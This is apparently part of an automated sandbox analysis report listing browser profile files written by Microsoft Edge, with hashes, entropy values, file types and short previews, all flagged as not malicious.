Encrypted:	false
SSDEEP:	24:3O1/iimYkDyifCdPODKdpsAF4unx0tLp3X2amEtG1ChqmPZhOys+YlQKkOAM4Ao6:3QnkDyifiPAuzFyLp2FEkChbxz1HOpX
MD5:	0F1613C35C010A980B336C7B277ED0B4
SHA1:	F9E4921B6A2A40EADB3C800AA685AAA35A540C63
SHA-256:	E30DAF4E3F0DA403FA9AD474CEB627CFB6F9BE93338A9759086D212A9DE1EBBB
SHA-512:	0D18BF178B3CD2DA537A1B9260036B455646F00489D3EC2B24DFBCDD14CA3FE7280FD0912B3C8D1BA3C321BBBA44F37579A78D535F32D8C8A9C5314BB073A4B4
Malicious:	false
Preview:	SNSS.......N.\|...........N.\|......"N.\|...........N.\|.......N.\|.......O.\|.......O.\|....!..O.\|...............................N.\|O.\|1..,...O.\|$...680745d0_1397_40b3_9421_74f2c42913c2...N.\|.......O.\|.....OI........N.\|...N.\|.......................N.\|....................5..0...N.\|&...{46F3A197-DB49-410A-81B3-94975C835573}.....N.\|.......O.\|...........O.\|........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.........P!.'....P!.'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8....................................................................... ..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.109893199480358
Encrypted:	false
SSDEEP:	6:HURISN+q2PN723oH+Tcwt7Uh2ghZIFUt8YURISZZmw+YURcVkwON723oH+Tcwt7w:kz+vVaYebIhHh2FUt8bD/+bcV5OaYebs
MD5:	70A756B561B0A910E352B13C88411BA8
SHA1:	5D24AFD4B59404A948EF69FB42DC9787AF3C5799
SHA-256:	C31AC621CAC0EEDAD16965CA65BE4A89F1C1574E98094F742998AED3F1092FC1
SHA-512:	A2675BE755E21A4EB3FCEF363FB932911EC424676A448FBCC6460A5E29E3B28810EDD3925DBCE9427CA09794A68C01B7A37397689489F4477DCCBB668DE34681
Malicious:	false
Preview:	2024/11/17-04:07:29.800 1d4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/17-04:07:29.800 1d4c Recovering log #3.2024/11/17-04:07:29.801 1d4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.109893199480358
Encrypted:	false
SSDEEP:	6:HURISN+q2PN723oH+Tcwt7Uh2ghZIFUt8YURISZZmw+YURcVkwON723oH+Tcwt7w:kz+vVaYebIhHh2FUt8bD/+bcV5OaYebs
MD5:	70A756B561B0A910E352B13C88411BA8
SHA1:	5D24AFD4B59404A948EF69FB42DC9787AF3C5799
SHA-256:	C31AC621CAC0EEDAD16965CA65BE4A89F1C1574E98094F742998AED3F1092FC1
SHA-512:	A2675BE755E21A4EB3FCEF363FB932911EC424676A448FBCC6460A5E29E3B28810EDD3925DBCE9427CA09794A68C01B7A37397689489F4477DCCBB668DE34681
Malicious:	false
Preview:	2024/11/17-04:07:29.800 1d4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/17-04:07:29.800 1d4c Recovering log #3.2024/11/17-04:07:29.801 1d4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.209942861762442
Encrypted:	false
SSDEEP:	12:kRTIvVaYebvqBQFUt8bO/+bCF5OaYebvqBvJ:+T6VaYebvZg8IOaYebvk
MD5:	3914C965B31C46BBF4CA066386D79C0A
SHA1:	4E5B5C24970A869B2044F4693A98270D3AEF3A6A
SHA-256:	5C664053B9E5199EE5EDB07610F0FC2AF241B8563864737FC58DFCC0A31BDE4D
SHA-512:	38465CB88B1474080BA576EC5DB19D60CDB33C7D5CD46F26A29538D7007660F797D1E0A4BD5E688C4C3F6F35E599347F1DA08EF0C2FD720F3ECC8BAC68398053
Malicious:	false
Preview:	2024/11/17-04:07:30.831 1e88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/17-04:07:30.832 1e88 Recovering log #3.2024/11/17-04:07:30.836 1e88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.209942861762442
Encrypted:	false
SSDEEP:	12:kRTIvVaYebvqBQFUt8bO/+bCF5OaYebvqBvJ:+T6VaYebvZg8IOaYebvk
MD5:	3914C965B31C46BBF4CA066386D79C0A
SHA1:	4E5B5C24970A869B2044F4693A98270D3AEF3A6A
SHA-256:	5C664053B9E5199EE5EDB07610F0FC2AF241B8563864737FC58DFCC0A31BDE4D
SHA-512:	38465CB88B1474080BA576EC5DB19D60CDB33C7D5CD46F26A29538D7007660F797D1E0A4BD5E688C4C3F6F35E599347F1DA08EF0C2FD720F3ECC8BAC68398053
Malicious:	false
Preview:	2024/11/17-04:07:30.831 1e88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/17-04:07:30.832 1e88 Recovering log #3.2024/11/17-04:07:30.836 1e88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\039a240f-d87d-48c4-8d41-0d1ddf09be23.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\1517e5cf-fe5e-42f6-b3a8-4f0fb768bdb8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\272e89d6-8749-4c6e-8e02-d90d45d6c078.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\87d79cc1-e9de-4389-a20d-ed79d1f85fc0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3ca75.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3d35e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF54aac.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\c9e2c472-7ade-4fcf-a0af-68d1cc7fdcb1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\fa78c770-fa9f-4ece-890f-0dc9572ac7c8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.24559237793678
Encrypted:	false
SSDEEP:	12:kJDvVaYebvqBZFUt8bJgJX/+bJVz5OaYebvqBaJ:WDVaYebvyg8dg4nOaYebvL
MD5:	984B777A2B50A3DF6BA4C00EDAF443B5
SHA1:	0958F9AB94E949311E1F469BCA3098DB46191F86
SHA-256:	27D4F72492E9511EF934B6D49934BC6D34262C8143CE2F85F4E17F27254FDED8
SHA-512:	53ECA5C3A1210E970B683B856769C86A69AD950DAE8019541AE4A9707395D324C4B100FCFC8A8D2105A50DCAA0BDF093E3B157BD6DA42D688F49E6912E4A634E
Malicious:	false
Preview:	2024/11/17-04:07:49.429 1e68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/17-04:07:49.430 1e68 Recovering log #3.2024/11/17-04:07:49.435 1e68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.24559237793678
Encrypted:	false
SSDEEP:	12:kJDvVaYebvqBZFUt8bJgJX/+bJVz5OaYebvqBaJ:WDVaYebvyg8dg4nOaYebvL
MD5:	984B777A2B50A3DF6BA4C00EDAF443B5
SHA1:	0958F9AB94E949311E1F469BCA3098DB46191F86
SHA-256:	27D4F72492E9511EF934B6D49934BC6D34262C8143CE2F85F4E17F27254FDED8
SHA-512:	53ECA5C3A1210E970B683B856769C86A69AD950DAE8019541AE4A9707395D324C4B100FCFC8A8D2105A50DCAA0BDF093E3B157BD6DA42D688F49E6912E4A634E
Malicious:	false
Preview:	2024/11/17-04:07:49.429 1e68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/17-04:07:49.430 1e68 Recovering log #3.2024/11/17-04:07:49.435 1e68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.192193818557719
Encrypted:	false
SSDEEP:	6:HURUIq2PN723oH+TcwtpIFUt8YUROoZmw+YUROwkwON723oH+Tcwta/WLJ:kUIvVaYebmFUt8bOo/+bOw5OaYebaUJ
MD5:	B5E7B4FF4A16242BFFD1D39130227291
SHA1:	B10B43158010804D2A0E699511E3F498D09B400A
SHA-256:	02E2A70411AAE5630BB37C0419770A0057A7327BC4418BBEA88983374317B653
SHA-512:	844971AAC4896C6C5671CDC1F76455E167CD860CC3DAD2CE3D8CEC75ECA6AAD8FC5F4C2A6DBA4A854F400E79978186BADA52F537D4BA7E1661FA19AD530F9B2D
Malicious:	false
Preview:	2024/11/17-04:07:29.744 1c60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/17-04:07:29.745 1c60 Recovering log #3.2024/11/17-04:07:29.745 1c60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.192193818557719
Encrypted:	false
SSDEEP:	6:HURUIq2PN723oH+TcwtpIFUt8YUROoZmw+YUROwkwON723oH+Tcwta/WLJ:kUIvVaYebmFUt8bOo/+bOw5OaYebaUJ
MD5:	B5E7B4FF4A16242BFFD1D39130227291
SHA1:	B10B43158010804D2A0E699511E3F498D09B400A
SHA-256:	02E2A70411AAE5630BB37C0419770A0057A7327BC4418BBEA88983374317B653
SHA-512:	844971AAC4896C6C5671CDC1F76455E167CD860CC3DAD2CE3D8CEC75ECA6AAD8FC5F4C2A6DBA4A854F400E79978186BADA52F537D4BA7E1661FA19AD530F9B2D
Malicious:	false
Preview:	2024/11/17-04:07:29.744 1c60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/17-04:07:29.745 1c60 Recovering log #3.2024/11/17-04:07:29.745 1c60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2676484324332093
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMvSA1LyKOMq+8iP5GDHP/0jMVumq:Kq+n0Jv91LyKOMq+8iP5GLP/07
MD5:	9604D77EA0F40A3484C87CAB887A12CF
SHA1:	B42BEB3D3C8B188CA4C64D75A95E1D3585593C13
SHA-256:	9A94B2968F2A19418B76368BC3876B06B96D6CD0D6FBE2D949F617ADA62F9D93
SHA-512:	625C301249F0A7040C0E7DCF51A7FBC02667B9A72AE33E583802A4D50E25B593A27676BFE56F318E8B565F2CE1BF1862B960256F6FE46140FB7603B9507A837F
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
